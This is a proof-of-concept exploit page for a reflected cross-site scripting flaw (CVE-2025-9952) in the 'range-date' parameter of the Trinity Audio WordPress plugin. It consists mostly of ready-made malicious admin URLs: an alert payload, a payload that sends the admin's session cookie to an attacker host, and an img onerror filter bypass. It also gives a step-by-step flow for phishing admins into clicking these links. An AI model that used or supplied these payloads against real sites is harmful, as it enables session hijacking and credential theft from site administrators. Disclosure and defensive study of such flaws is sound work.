CVE-2025-9952 WordPress Trinity Audio插件反射型XSS漏洞

<!-- CVE-2025-9952 - Trinity Audio Reflected XSS PoC --> <!-- The vulnerability exists in the 'range-date' parameter of post-management.php --> <!-- Attackers can inject arbitrary JavaScript through this unsanitized parameter --> <!-- Malicious URL example that triggers the XSS vulnerability --> <!-- Replace 'target-site.com' with the actual WordPress site using Trinity Audio plugin --> http://target-site.com/wp-admin/admin.php?page=trinity-audio&range-date=<script>alert('XSS-'+document.cookie)</script> <!-- More sophisticated payload for cookie stealing --> <!-- This payload exfiltrates the admin's session cookie to an attacker-controlled server --> http://target-site.com/wp-admin/admin.php?page=trinity-audio&range-date=<script>fetch('http://attacker.com/steal?c='+document.cookie)</script> <!-- Using HTML event handlers as alternative payload --> <!-- This bypasses basic script tag filters by using img onerror event --> http://target-site.com/wp-admin/admin.php?page=trinity-audio&range-date=<img src=x onerror=alert(document.domain)> <!-- Usage Notes: 1. The attacker needs to trick an authenticated WordPress admin into clicking the malicious link 2. Social engineering techniques (phishing emails, IM messages) are typically used 3. Once executed, the script runs in the victim's browser with their session privileges 4. Affected versions: All versions up to and including 5.20.2 --> <!-- Exploitation Flow: Step 1: Attacker crafts malicious URL with XSS payload in range-date parameter Step 2: Attacker distributes URL via phishing or social engineering Step 3: Victim (admin) clicks the link while authenticated to WordPress Step 4: Server reflects the unsanitized payload back in the HTML response Step 5: Browser executes the malicious JavaScript in admin's session context Step 6: Attacker steals cookies, hijacks session, or performs privileged actions -->